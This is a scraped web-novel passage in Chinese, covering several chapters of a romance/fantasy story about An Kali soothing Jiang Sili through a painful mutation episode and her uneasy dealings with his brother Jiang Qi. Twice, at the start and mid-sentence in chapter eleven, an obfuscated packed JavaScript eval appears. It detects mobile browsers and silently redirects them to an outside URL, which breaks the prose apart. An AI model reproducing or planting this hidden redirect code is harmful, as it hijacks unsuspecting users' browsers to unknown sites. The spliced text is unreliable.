;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15719079|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开。 他后背靠在床头,脑袋微微垂下,“所以,你答应了?” 最后的三个字他说得很轻。 安卡莉看着对方低垂着头的模样突然想逗逗他,“不答应也没办法,难道你想去异化生物部门?” 听见这话,他抬头,然后漫不经心地在被子上画圈,“都可以啊,我不挑的。” “噢?这样吗?” “那我去跟你哥说。” 说完,安卡莉就转身朝房门走去。 江斯理皱了皱眉,颇有些懊悔的抿唇。 安卡莉刚走出去几步,就感受到了脚边轻柔的触感,她停下了,往地面看去,是一条细小的藤蔓轻触着她裸露的皮肤。 好像在讨好她一样。 “你不怕我哥了?” “别去了,就这样吧。” 安卡莉嘴角扬了扬又压下,“我怕有人不满意,还是去吧。” “谁不满意?” 他抬眸,嘴硬掩饰,“没人不满意。” 安卡莉蹲下,戳了戳地上的藤蔓,笑道:“是吗?” ‘嗯’一道闷哼声从他胸腔里传出。 紧接着,那原本轻点她手指的藤蔓,将顶端细条轻柔地放进她的手里,用挠小猫的力气蹭着她的手心。 绵密的痒从手心透出来,她看着江斯理,另一只手下意识地捏了捏藤蔓。 很软,而且很有韧性。 “砰!” 很明显的撞击声。 安卡莉看向床上坐着的人,不是他们两个发出声音的话就是其他人了。 “出什么事了?”,安卡莉出声询问。 但没有人回,那就有可能是什么东西掉下来了,但她现在也不能离开这里,只能等江祈回来再看。 这时。 安卡莉注意到对方呼吸加重,眉目染上郁色,关切道:“你怎么了?” “不要动。”,一道难耐的声音让她停下了动作。 奇异的酥麻感从江斯理的心脏蔓延至四肢,呼吸变得紊乱,手指不自然弯曲,看着依旧被她捏在指尖的顶端,他只好开口叫停。 江斯理摇了摇头,手握紧旁边的被子,等待着那阵余韵过去,“它,比较敏感,你不能那样碰。” 【我喜欢她那样碰我】 【她很轻的,我不疼】 江斯理无视它的声音。 “啊。” 安卡莉瞬间松开手,“我不知道,你没受伤吧?” 每一个异化者的类肢特征都不一样,所以她并不知道藤蔓的顶端很脆弱。 但有一点她知道,那就是类肢的反应都会回馈到宿主身上,也就是无论感受到什么宿主本身也能有相同的感受。 万一她要是伤到了藤蔓,江斯理也同样会受伤。 “没事了。”,藤蔓被松开,江斯理的手也松开了被子。 “那你快收回去吧,要是等下我不小心碰到哪里就不好了。”,她抬起手掌,避免缠绕在手指上的藤条再次受伤。 只见江斯理动了动藤蔓,它们就像是有意识一样瞬间缩了回去,消失在房间里。 安卡莉也舒了一口气。 11. 第十一章 江斯理眼尾泛着湿润,平复了下呼吸,拿起旁边的水杯灌了一口。 看着对方的动作,安卡莉移开了目光,突然之间想到了在江祈房间斗柜上看见的泥塑,继而问道:“当时的快递你找到了?” 江斯理沉思了一会,在记忆里寻找这个关键词,“你是说你做的泥塑吗?” 安卡莉点了点头,“对。” 在大学期间,她沉迷上了用泥土做东西,所以身边的朋友都送了个一遍,包括联系变少的江斯理。 但好像快递不知道被谁弄丢了,江斯理最后也没收到泥塑。 安卡莉本来说再给他寄一次的,对方说学校要进行封闭式训练,这段时间都联系不了,她也就歇了这份心了。 江斯理听见对方说这个,神情认真地摇了摇头。 “我在你哥房间里看见了泥塑,我还以为你找到了,现在看来应该是差不多的款式。” 安卡莉回想当时那个猫咪,记得不是很清楚,但江斯理都这样说了,那应该不是。 “我哥房间?” 他没有怀疑他哥将快递私藏,他不是那样的人,也不会那样做。 只是,卡莉为什么会去他哥房间? 问到这个问题,安卡莉也只是随意找了一个借口忽略过去,不知道为什么她总感觉后续解释会很麻烦。 “叩叩叩。” 门被敲响。 透过玻璃能看见是穿着宽松衣物的江祈。 “进。” 江斯理移开落在安卡莉身上审视的目光,朝着房门道。 安卡莉原以为江祈会穿居家服,但没想到只是舒适一些的常服,而且不怎么看她,距离也保持得很克制。 突然之间,她好像明白了对方这样的行为。 一个单身女性独自住在两个男性的家里,难免会有畏惧心理。 就连在这之前去稽察部恐怕也是借口。 但其实他可以完全不用这样做的,毕竟异化生物部的保障还是靠谱的。 安卡莉细细观察着对方,他的头发是湿润的,透着些潮气。 手上拿着一包小塑封袋,里面是一个密封玻璃药瓶和白色的药盒,玻璃瓶里还能看见些许的药粉。 昏黄的灯光散在他的身上,眉骨落下的阴影正好挡住他的眸子,当安卡莉准备移开目光时,那双眼睛朝她看了过来。 他眼底露出动摇的神色,但也仅仅是一瞬。 快到对方安卡莉觉得自己产生了错觉。 “哥,那是什么?” 江斯理将身体坐直,望着塑封袋里的药瓶。 “提高活跃度的药片和阻断剂。” 他的声音依旧平稳,没有一丝起伏。 只见他弯腰将其放在他的床旁,叮嘱道:“睡觉之前把药片吃了。” 白色药片是为了在注射阻断药剂前提高类肢活跃度的,这样做是为了让阻断药剂起最大的效应。 至于为什么不是医生将阻断药剂带来,安卡莉倒是知道。 当异化者确定进入异化期,医疗部对其进行消杀之后,就会将其登记在册,阻断药剂也会在七个小时之内通知其亲属实名认领。 因为一旦加大阻断药剂用量,就会导致异化者快速畸变为异物,所以这也是为什么对阻断药管理如此严苛的原因。 江斯理额角冒出细汗,身体往床头靠去,装作轻松的样子问道:“那你呢?” “回稽察部。” “怎么刚回来又去?” 安卡莉也有点诧异,稽察部这么忙的吗? 人才刚刚回家,等一下又得去稽察部。 突然,她就开始为自己的未来默哀了,因为她明天是她去稽察部报道的日期。 清冽的声音散开,“有点事。” 江斯理在他们没看见的瞬间吐出一口气,然后说道:“妈那边……” 如果没有这件事,现在他应该在爸妈家里。 “别担心,我说你今天回学校了。” 听见确切的答案,江斯理松了一口气,除了避免让爸妈担心之外,还有一个原因…… 他抬眸注视着侧着身的江祈。 与此同时,江祈转身。 站在了安卡莉对面,朝她郑重道:“今天辛苦你了,卡莉。” 她眉心瞬间跳了跳,当即摆手,“不用这么客气,江祈哥。” “我没做什么的。” 视线往下垂,一道显目的痕迹出现在她的目光中。 是对方手腕处的衣物,那里浸出了血迹。 她犹豫开口:“江祈哥,你的…手腕怎么了?” 江祈听闻抬起手腕,有一条不是很深的血痕。 “没事,应该是不小心划到了。” 说完,他没给安卡莉说话的机会,接着道:“我先走了。” 人离开之后,空间恢复了安静,安卡莉去看床上的人,江斯理不知道什么时候重新躺下了,被子遮着头,好像睡着了一样。 她轻声唤了他的名字。 对方没什么反应,看来真的睡着了。 见药片已经被他吃了,时间也不晚了。 安卡莉就将房间的灯都关上,洗漱完之后上床睡觉。 蜷缩在被子里的江斯理额头冒出汗水,嘴唇被他咬出血丝,听着耳边逐渐消失的声响,才放开声音喘息。 如果说刚才的疼痛还能因为一点点木质香气和她浅淡的呼吸声而有所缓解,但现在好像仅仅靠这些已经不能够再缓解他的疼痛了。 他不知道是不是因为药片的原因。 江斯理的指甲陷入软肉里,脖颈处青筋暴起,他知道异化期间一旦受到安抚会让疼痛加倍,但没有想到这份疼痛会如此刻骨。 在一旁的进入睡梦中的安卡莉没有被任何的异动吵醒,因为对方发出的声音都很克制,谨慎,他不想让对方看见自己这副脆弱,狼狈的样子。 但江斯理似乎没有意识到他的类肢会因他本人的潜意识而做出相宜的举动。 比如现在。 细小的藤蔓顺着地面来到了安卡莉的床边,又沿着床柱而上,轻轻落在了她伸出被子的手,立刻,那里出现了一些酥麻的痒意。 她皱了皱眉翻了一下身。 但藤蔓显然不想就此罢休,顺着她的手指绕了一圈又一圈,好像是要把她的手全部包裹起来带进它们的‘巢穴’才好。 江斯理的耳边又响起了藤蔓的声音,但现在的他来不及去分辨它们说了什么,疼痛逐渐消失之后他大口大口喘着气息。 【好甜,好甜】 【她在摸我!!!】 【喜欢,喜欢,喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15719080|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢她】 等江斯理分辨清楚这些声音后,他的脑子空白了一瞬。 原来刚才逐渐消失的疼痛是因为…… 江斯理撑着发软的身体站起来,光着脚,在皎洁的月光照射下,一步一步走到了安卡莉的身边,然后顺着床沿跪在她的前面。 柔软的发丝铺在她的一侧,温和的面容陷入蓬松的枕头中,平稳的呼吸起起伏伏,好看的眉因为手心中捣乱的藤蔓而微微皱起,好像不满它们的行为一样。 在极致的粉白中间出现了与之违和的浅绿色。 她的手指微微蜷曲,好似要挠一挠手心。 一不小心就碰上了正在绕着圈的藤蔓,在她的指尖碰上的一瞬,江斯理的喉咙里吐出一道闷哼声,然后立刻咬住了下唇,让这道声音消失在嘴里。 【她的手指好软】 【好舒服,好舒服】 【我感觉我要飘起来了】 【想再来一次!】 它们的话让江斯理本就不是很清醒的思维变得更加模糊,望着眼前清丽的容颜,他的手指动了动,低垂着头,像是下定决心一般重新抬眸,伸出了另一只手。 将手心朝下,轻轻放在她手的上方,藤蔓慢慢从安卡莉的手上退下,静静在一旁围观,看着自己主人缓慢将手搭在她的手心里。 【碰上了,碰上了】 【软得像云一样】 【他的心要跳出来了】 是的,现在江斯理不只是感觉心跳很快,而且大脑很亢奋,比平常考核训练还要难以控制身体症状。 额头的汗水顺着下巴滴在衣服上,形成一滩深色的痕迹。 江斯理不敢太用力,只敢轻轻搭在她的手上,但仅仅是这样,他就感受到了比异化疼痛更难熬的欢愉。 叽叽喳喳的说话声,过激的心跳声以及过分满足的贪欲,血液上涌,他好像秋天的最后一片树叶,在枝头顺着狂风暴雨摇曳,不知道什么时候就会颤抖落下。 这时。 安卡莉手不经意握紧,柔软的皮肤碰到了江斯理的手背。 他像是触电一般瞬间缩了回去。 心口像是被羽毛拂过,一股轻微的痒意从手背蔓延至心口,难耐不已。 旁边的藤蔓显得有些跃跃欲试,吵闹的声音不断响起,江斯理只得小声呵斥。 但没想到这声音引起了安卡莉的注意,她迷迷糊糊中睁眼,就看见了目光怔怔落在她面上的黑影。 脑子一下子清醒过来,身上吓出一阵冷汗。 安卡莉的嘴里没有发出声音,但谨慎的眸子,往后退的肢体动作无疑不在说他吓到她了。 江斯理连忙握住她的手腕,将身体移动至月光的照射下,好让对方看清他的脸。 “别怕,是我。” 被握住手腕的安卡莉本想快速甩开,但看见眼前人的时候生生抑制住了自己的动作,继而小声开口:“江斯理?” 就着月光,她很轻易就能看见对方那张白皙伴随着青涩的脸,而且不知道为什么他的头在她的注视下偏向一旁。 然后咳嗽了几声。 想到什么,安卡莉开口:“你的异化疼痛开始了?” 说完这句话之后,她抓住对方的手腕附身探了探他的体温,额头有汗,温度偏高,看来是异化期疼痛发作了。 12. 第十二章 江斯理没有想到对方动作这么快,还没来得及反应安卡莉那只带着温软触碰的手就已经缩了回去。 肢体接触一消失,那种灵魂都在颤抖的疼痛又开始了。 江斯理克制自己的颤抖,咬着唇,不发出一点声音,撑在一旁的手也紧紧握住,拼命压住想要从喉咙溢出的声音。 虽然没有亲身经历过异化期的安卡莉,看见对方这副模样还有什么不理解的。 她开口道:“我是你的安抚者。”,所以你可以开口向我寻求帮助。 后面那句话她没有说出来,她知道江斯理知道她的言外之意。 江斯理听见她的声音,抬起了那双湿润的眸子,嘴唇轻动,露出一个强撑的笑容,“没事,你快睡觉吧。” 说完他撑着地面站起来 额头青筋明显,肌肉在颤栗。 当落入那充满木质香气的怀抱时,江斯理才机械般的重新跪在地面,抬起双眸。 他的头靠在了安卡莉的肩上,感受着将他包裹住的香气和对方温热的体温,就连她的发丝都能掀起皮肤的战栗。 安卡莉只是单纯的抱着他,没有说话,缓解他的疼痛。 疼痛逐渐消失,江斯理也恢复平常的样子,手握住她的肩,将其推开。 “你,你不用这样的。” 清晰的声音让他回过神,只听对方接着说:“你的类肢……” 安卡莉感受到腰间异物的时候开口,本来是打算自己动手的,但一想到之前的状况,她就迟疑了。 江斯理顺着她的目光看过去,只见他的藤蔓顺着她的腰绕了一圈,甚至还有往上攀的动作,看它们的行踪,江斯理的脸刷的一下红了个彻底,也就是现在光线不明,安卡莉注意不到他的异常。 【喜欢,贴贴】 【喜欢,贴贴】 【喜欢,贴贴】 江斯理垂着头命令这些类肢:“回去。” 低沉中带着难为情的语调,让这些藤蔓迅速缩回,同时还不忘在他的脑中说话。 【喜欢莉莉喜欢莉莉喜欢莉莉】 这些声音像是要穿入他的五脏六腑一样,让江斯理产生了一种自己也喜欢上安卡莉的错觉。 他立马离开安卡莉的怀抱,站起身来。 “我,我好了,先去睡了。” 慌张的语气硬是被他压住,然后用平常的语调说出。 安卡莉倒是没有察觉到什么,只是打了一个哈欠,说了一句好。 困意让她的大脑开始迟钝,只想躺在床上开始睡觉,毕竟明天她还要去稽察部报道。 “安安。” 安卡莉迷茫的睁开眼睛,看着光屏上的‘好好’,半梦半醒的回:“怎么了,好好?” 听着好友沙哑的声音,莫宁就知道对方还没有起床,“你今天要去稽察部报道,你不会忘了吧。” 7:45。 嗯,还有五分钟她的闹钟就响了。 “没有忘,你看我什么时候忘记过这种事情?”,捂在柔软被子里的安卡莉闭上眼睛,用着小音量的声音去回。 莫宁点了点头,“这倒是,你从小到大从来没有迟到过。” “但为什么你声音那么小?” 安卡莉避开了这个问题,直接问道:“所以……你为什么特地给我打光脑呢?” 她的意识虽然模糊,但逻辑下意识的清晰。 莫宁干笑了两声,然后吞吞吐吐的开口:“唔——” 了解莫宁脾气秉性的安卡莉直接一步到位,“想要我做什么?”,这样既能省得对方去解释和同时也节约了她的时间。 “这个,一个学弟跟我买了书。”,说到这里,莫宁话头一转,“但我今天把这件事忘了,现在在七区参加一个活动。” “所以……” 安卡莉故意拉长了声线。 “所以,我可以拜托我人美心善的安安帮我送一下吗?” 光脑另外一头的莫宁已经双手合十开始小幅度晃动手了。 今天虽然是报道的第一天,但也不是一点时间都抽不出来,于是安卡莉应了声好。 “我就知道!安安是天使!” “爱你爱你,回来请你吃饭。” 得到肯定答应的莫宁朝对方疯狂表示自己的感激之情。 如果是平时安卡莉会和她打趣一下,但现在她不是在自己家里,而是在江斯理家。 通话结束之后,莫宁就迅速将自己公寓的电子密码发到了对方的光脑中。 说起来这好像是她这个星期里收到了第二个电子密码了。 “滴答滴答。” 窗外融化的雪顺着屋檐不停的往下滴水,路面上的积雪已经化得差不多了。 安卡莉站起身去看隔壁的江斯理,闭着眼睛,嘴唇起了一层薄薄的皮,而地面上的类肢已经全部消失。 仿佛是感觉有人注视一般,江斯理缓慢地睁开了眼睛,用着不太清醒的视线去看站在床边的人。 随意扎起的头发落在肩头,柔和的眉眼带着一些雾感,好像吹一吹她就散了一样,他的心脏跳动也因此快了不少。 似乎比昨晚更甚。 安卡莉此时也注意到了床上的人,见他撑着身打算坐起来,她走到床边弯下腰伸出手去扶他。 她的动作很明显,让江斯理不免侧头。 “这么看不起我?” 也许是因为他刚刚醒的原因,这句话还带着些喑哑。 安卡莉当然没有这个意思,只好轻笑着打着哈哈:“怎么会?” “我当然没有那个意思。” 虽然异化期的疼痛是无法言喻的,但此时的江斯理不免自尊心作祟,用力撑着自己的身体坐了起来。 手臂肌肉被绷紧,他额头的青筋也突了出来。 酸痛和无力卸掉了他的主要力量,这让他有些费劲。 安卡莉看见了也只当没有看见,而是转过身背对着他往远处走。 然后转移话题开玩笑道:“原来你睡醒头发也会乱啊。” 之所以会这么说,是因为江斯理在所有人的心目中都是一个光鲜亮丽的形象,从来没有看见过他邋遢的模样。 听到这话的江斯理意识迷茫的皱眉。 虽然神情不太认同,但肢体动作不断。 他伸出手将头发往后顺了顺,然后装作不经意地理了理衣物,嘴硬说道:“你好无聊。” 但垂下的双眸却在懊悔,应该再早一点起床的,最好在她醒之前。 就现在这种情况他怎么能这么轻易就打破自己在对方心目中的形象。 安卡莉对他的反应浅笑出声,“开玩笑的,没有乱,头发很好。”< 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相同的年纪,相似的兴趣爱好,性格似乎也互补,好像两人就是天生一对一样。 江祈握紧了手中袋子,将目光移开。 安卡莉冲江斯理做了一个向外指的动作,示意自己先出去,在对方的点头之中,移动到江祈的面前喊了一声:“江祈哥,早上好。” 只不过他这身衣服实在惹她注意。 难道说对方是刚刚从稽察部回家? 昨天一晚上都没有回来? 在她出神的时候,对方回了一句:“早。” 江祈垂眸望向她,微微侧了身让她出去。 在抬脚的时候安卡莉听见对方说:“早餐在楼下。” “谢谢江祈哥。”,她下意识回道。 但不知道是因为她有点恍惚,还是因为她没有预判好位置,以至于与对方擦肩而过的时候,她的肩径直撞上了对方的。 “嘶。” 很轻微的痛呼声。 “撞到哪里了吗?江祈哥?” 安卡莉回头,眼神密切关注着他的肩膀。 “没有。” 她听见对方这么说,还是不由自主的去看他僵硬的肩膀,那里呈现不自然的状态。 她皱了皱了,想在问些什么,被人打断。 “哥?” 避开床边医生遮挡住的视线,江斯理出声。 江祈没有再和安卡莉说话,而是目光转移到江斯理身上,身体也大步向前走去。 见状她也只好轻轻将门带上下了楼。 从楼梯往下走的时候,一道闪烁的光跃进了她的眼底,是从花盆底下发出来的。 安卡莉走过去往下看,是一片玻璃碎片。 也许是因为这里是死角的原因所以没有被清理走。 她将其捡起顺手丢到二楼的垃圾桶里。 想起江祈那句话,她坐在了餐桌旁的椅子上,上面是一份打包好的三明治和一杯牛奶和刚才江祈手中袋子里的早餐是同一家的。 他虽然平常很冷清且客气,但做事很周到,几乎没有让人感到有不舒服的地方,除了他的气场以外。 【好感度+1】 机械化的声音突然出现在江祈耳边。 13. 第十三章 江祈垂在身侧的手促然握紧。 “江稽察长,阻断剂已经注射完成了。” “接下来只需要继续观察异化的情况。” 医生边收拾医疗废弃物边交代道。 江祈暂停了如同一团乱麻的思绪,面对医生的交代点头示意,“明白。” “有劳了,张医生。” “客气了稽察长,这是我该做的。” “那我送你出去。” 江祈微微抬手,用着令人舒服的姿态将张医生带出了房间。 “滴滴。” 手环传来信息。 安卡莉将手中的三明治放下,点开莫宁发来的信息。 【林澈】 在这条信息之后是一个光脑号码和一张过于青涩的照片映入眼帘。 照片中的人,穿着印上加以亚校徽的衣服。 也许是因为洗的次数很多所以导致衣服微微发白,而他局促的站在一株白梨树下,鼻梁上架着一副眼镜。 眼睛直直望着镜头,对着镜头露出笑容,干净又清澈,就很像小说里那种家境贫困但次次考第一的学生。 但想着是加以亚理工大学,安卡莉又对自己心中的想法微微摇头。 她虽然不是这个学校毕业的,但加以亚大学的名声是广为人知的,它是整个霍内德前三的学校之一。 至于为什么不说具体的排名,那是因为这前三个理工学校的排名并不是固定的,会根据每年的比赛情况进行排列。 正是因为如此,能考进这个学校的天才不说都是天才,但都是个顶个的优秀人才。 也就是说他们根本不缺资本的投资,毕竟能读出来的几乎都是业内顶尖人才,因为这些资本需要对他们下注,所以自然也会为他们提供丰富的物质条件。 安卡莉吃完手中的早餐之后,准备将包装袋丢进厨房的垃圾桶。 如果她没记错的话,稽察部的实验室中午会休息两个小时,那这段时间就足够她去学校解决这件事。 想到这里,她收拾好桌面,拿起手边的垃圾,从椅子上站起来。 只不过…… 为什么在垃圾桶旁边还有一个蓝色的垃圾袋? 没丢进去? 还是就打算放在这里的? 她将垃圾丢入垃圾桶之后蹲下身去看蓝色垃圾袋里的东西。 因为口是敞开的,所以她很轻易就能看见里面是什么。 透明的玻璃碎片? 像是水杯破碎之后的玻璃碎片,而且仔细看的话上面还有血迹。 似乎和她在三楼捡到的碎片是一样的。 难道说江祈手腕上的伤口是这个东西划伤的? 等等。 安卡莉站起身之后突然联想到昨晚听见的声响。 那声音和水杯摔在地上的声音一模一样,她本来还说今天起床看看的。 现在看来就是对方不小心将水杯摔在地上,然后被溅起来的玻璃碎片划伤了。 但。 安卡莉不太理解的一点是。 为什么当时她的询问没有得到对方的回答? 而且都已经到三楼来了,那就是说明是来看江斯理,可为什么等了将近三十分钟才看见江祈,甚至说要回稽察部。 这中间发生了什么很重要的事? 这瞬间。 在她的身后响起了一阵脚步声。 安卡莉回头。 是江祈,和那名医疗部的医生。 她心里莫名紧张了一下,也许是因为在背后猜测他的原因。 她稍抬眼眸,意外撞进一道视线当中。 淡漠而又晦暗不明,似乎她还能从中读出些审视的意味。 但对方只是轻轻扫了她一眼便移开目光,并没有同她说什么,然后带着医生穿过过道往大门走去。 好像刚才都是她会错意了一般。 安卡莉微微皱起了眉头,总感觉对方隐瞒了一些和她相关的信息。 但这只是她的猜测,她不可能就凭借这个没有任何凭证的猜测去质问对方,她做不到也不能这样做。 想到这里,她将脑子杂乱的想法压在心底,摇了摇头。 趁现在时间还早,她可以回家取车然后去稽察部报道。 但刚走到门口,安卡莉就听见了开门声。 与此同时,一张清冷的脸出现在她的眼前。 深蓝色的制服瞬间将从门缝里漏出的光线遮挡了大部分,对方身上的压迫感在此刻更加强烈,以至于安卡莉下意识往后退了两步。 看见她动作的江祈握住门把手的手用力握紧,没有继续进屋,而是将门打开至最大,让光线照亮整个玄关。 至于安卡莉…… 她垂下的眸子在看对方将她完全覆盖住的影子。 江祈有多高来着? 183?还是184? “卡莉。” 清苦的香味顺着风飘散至安卡莉的身侧,同之前一样的味道。 她抬头问道,“江祈哥,怎么了吗?” 江祈只感觉到一些突如其来的烦躁,他揉了揉眉心,手臂带动着胸口的徽章发生响动。 安卡莉也因此将视线落在上面。 白金色的徽章,四周是像光芒一样的线条,朝着不同方向发散,长短不一,中间是霍内德政府的标识和稽察长的紫色花卉图案。 霍内德很喜欢将职业拟花化,六级及以上的职业都有不同的花卉标识。 稽察长是紫色的鸢尾。 其实,安卡莉从始至终都觉得江祈和稽察长这个职位很适配。 宽厚的肩膀,挺拔的身姿,好像每一处都符合她对稽察长的刻板印象,就连性格也是。 沉稳,强大,有力量感。 “你要去稽察部报道?” 清冽的声线回响在她的耳畔。 “嗯?” 安卡莉的视线从他的胸口移动到他的脸上。 随即点头。 “是的,江祈哥。” 为了避免对方展开这个话题,她想到刚刚出去的医生,转移话题道:“江祈哥,江斯理的情况怎么样?” “还好。” 到这里,安卡莉也找不到其他话题和对方说,便笑了笑道:“那就好,那,江祈哥,我先走了。” 说完她便测过身,打算让对方先进,自己再出去。 “我送你。” “什么?” 在她没反应过来的时候,对方已经迈开步子转身朝她的前面走去了。 安卡莉有点懵,明明之前他们之间的关系也就止步于认识但不熟悉的地步,现在怎么感觉这两天接触得有点过于密集了? 这也是她的错觉吗? 眼见人已经快走到黑色铁门附近,她连忙跟上,开口道:“没事的江祈哥,我也可以开自己的车去。” 虽然比不上他的,但作为代步工具也足够了。 这时。 江祈停下脚步,她也只能跟着紧急停下来,只不过不够迅速,身体擦过了对方的手臂。 江祈抬 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受到他具有压迫性的举动,安卡莉也不好再继续耽误他的时间,只是坐朋友哥哥的车去上班而已,不要对这个行为赋予任何意义就不会对她有任何的影响。 想到这里,安卡莉露出一个浅浅的笑容,“那就麻烦江祈哥了。” 等坐上副驾驶的时候,她抿了抿唇,顶着高压问起了对方那天的异常,“江祈哥,你那天怎么了吗?” “没事。” “只是有点发烧。” 直视前方的人,不知道是想起了什么,眉目微微皱着,似有些不耐,但瞬间又消失不见。 如果不是她刚好捕捉到,怕是很难发现这么细微的变化。 可她是做了什么,才会让对方有那样的质问。 清苦的香味在空间中蔓延着,安卡莉的思绪也越来越杂乱,她根本找不到一点原因,总不可能是因为她的长相和他不和吧。 但,好像也不是没有这种可能。 车内空气有点闷,安卡莉伸手拉了一下脖颈,拉了一个空。 对了,她想起来了,今天她没带围巾。 “哔哔。” 一阵鸣笛吵醒了思考中的她。 安卡莉抬头,车不知道什么时候停稳了。 而在他们的面前,有一辆银灰色的商务车开着灯闪了几下,随即便见有人从车上下来,快速走到车边。 “叩叩叩。” 在敲击声响起的时候,车窗被降下。 那人将手肘撑在车窗的位置,露出了一个笑,“今天怎么速度都和我一样了。” 江祈没有回答他的问题,而是轻轻点了点手环,“你现在上楼应该还来得及。” 但明显那人不在状态,反问道:“来得及什么?” “开组会。” “该死,我忘记今天星期一了。”,他拍了拍自己的脑袋,连忙起身离开。 但脚步一转将头伸进了江祈的车里,对着在旁边保持安静的安卡莉打了一个招呼,“你好,我叫程喻之。” 安卡莉下意识回了个‘你好’,但其实只是嘴快而已,灵魂早在他们说话的时候就不知道飘到哪里去了。 因为她在想,她那块落在江祈车上的围巾现在在哪? 如果还在车上她不可能没看见,那只能是被他拿去了。 安卡莉扫了一眼江祈。 但怎么不还给她呢? 14. 第十四章 车窗外的程喻之并不在乎她回了没回,介绍完自己之后就飞快的离开了他们的视线。 甚至还能看见他手上那件外套的残影。 江祈往旁边看去,见到了对方素净脸上那双发愣的眼睛,手指轻微动了动,然后被理智压住,“希望没有吓到你。” 安卡莉连连摆手,“没有没有,只是刚才没有反应过来。” “谢谢江祈哥送我,那我先去报道了?”,她微微侧着身子和对方说道。 “我带你去。” 站在前方高大身影后的安卡莉没有想到自己也会经历一次‘关系户’。 实在是每次听见对方浅淡漠然的声音,她都开不了口,感觉对方根本没有给她一点拒绝的机会。 穿着白大褂,带着蓝色工作牌的老头,伸出手与江祈的手相握。 他脸上洋溢着慈爱的笑容,“江祈,好久不见了。” 江祈也微微弯下腰配合着对方,“是的钱教授,这段时期比较忙。” 两人来回说了几句话之后,那位钱教授才终于看见了安卡莉,疑惑看向江祈,“这位是?” “安卡莉,我带她来这里报道。”,江祈主动介绍了她的身份,好让安卡莉也进入这场寒暄。 她上前了两步,朝着对方弯了弯腰,神色认真地说道:“钱教授您好,我是新来的实习生,安卡莉。” “实习?”,钱教师摸了摸只有稀疏几根头发的脑袋。 然后当着他们的面打开了光脑联系了一个实验员,“小舒,来我这里一趟。” 安卡莉目光移到江祈的身上,他还站在原地,衣着端正,站姿笔直,脸上没有表现出一点不耐的神情。 但即使如此,她还是有点在意对方刚才说的组会,程喻之要开组会,那他是不是也需要? 思及此,安卡莉往江祈的方向凑近了一些说道:“江祈哥,这里我自己能行,要是你忙的话就先走吧。” 江祈听见声音,往下看了看她靠近的脚尖,同时注意到了她略微有些紧张的肢体动作,便说了一声‘好’。 接着抬脚朝着钱教授走去,“钱教授,我还有事要处理,需要先走一步。” 钱教授摆摆手,“有事就去忙吧,这个小姑娘我会安排好的。”,他边说边看向一旁的安卡莉。 而成为关系户的她只好露出乖巧的笑容安静的听着他们的对话。 毕竟她此时出声讨不了一点好,关系户就关系户吧,她还从来没有当过。 转身路过安卡莉的时候,江祈停下了脚步,视线落在她的脸上。 轻微扇动的睫毛,弧度自然的鼻梁以及红润的唇瓣。 “卡莉,有问题就联系我。” 安卡莉有些局促地点了点头,“那就麻烦江祈哥了。” 距离太近了,她想。 望着对方离开的身影,安卡莉吐出了一口气。 对方身上的气场始终让她感觉到紧张,现在人一走,她呼吸都通畅了不少。 至于江祈刚才说的话安卡莉根本没有当真,这些都是客气话。 就像是‘哪天请你吃饭’一样,要是她当真了才更显得自己难堪。 “小安?”,钱教授不确定地开口。 安卡莉听见声音笑了笑,“对。”,然后缓步朝钱教授靠近。 这时,走廊里走出来了一人,头发一丝不苟的挽起,漏出光亮的额头,眼睛上架着一副透明的护目镜,嘴角轻抿,“教授。” “这是新来的实习生,叫安……”,钱教授停下了半刻思考。 “安卡莉。”,她自然的接上话,“名字有些不太好记。”,开玩笑似的语调给了对方一个台阶。 钱教授笑出声,“对对对,是叫这个名字。”,然后又朝旁边的人道:“小舒,她就安排你带了。” “等会儿你们相互认识一下,我还有个会要开,就先走了。”,钱教授揉了揉额角,一副对即将要开的会一筹莫展的样子。 舒敏点了点头,恭敬道:“好的教授,你先忙。” “钱教授慢走。”,安卡莉也附和道。 等人离开之后,剩下的就只有这位姓舒的实验员和她一起站在原地了。 还没等她问候对方该怎么称呼,便听见来自对方简洁的自我介绍:“我叫舒敏,叫我舒师姐就好。” 舒敏接着解释道:“刚才的钱教授是高级实验师,是我们的带教,除了做项目的时候,其他时候都是由我们来教你们这批实习生。” 说到这里,她望着安卡莉,“有什么不懂的吗?” 安卡莉听明白了,也就是说以后她的综合评估也是由这位舒师姐来写,于是她摇头,“暂时没有,舒师姐。” “那好,现在和我去领你的工作牌和衣服。”,说完舒敏便行动快速的向前走。 嗯,执行力很强,很干练。 舒敏的脚停在杂物间,拿出传统的钥匙打开了门,从里面拿了件白大褂递给安卡莉,接着锁上门,“等下去领工作牌的时候一起登记。” “好。” 基本操作了,她懂。 安卡莉将黄色带子的实习工作牌挂在脖子上,又把随身物品放进属于自己的柜子里。 换上白大褂之后,朝着生化血清学实验室走去,舒师姐刚才说过让她去这里找她。 经过门口的消杀区,她推开了磨砂质感的玻璃门,唤了一声:“舒师姐。” 带着透明护目镜的舒敏只是轻轻瞥了她一眼,“你今天先看我做实验,有不懂的随时向我提问,等你能上手之后我再给你分配任务。” 还没等安卡莉搭话,舒敏接着说:“你的实习期是一个月,我希望在这一个月的时间里我们能好好相处。” 她的声音微沉,似劝告也似警告。 安卡莉点头承诺:“师姐放心。” 她知道对于她们这种实习周期短的实习生,实验室一般都不会轻易招募,一来人员经验少,二来留不住人,相当于就是来实验室渡一层金的混子。 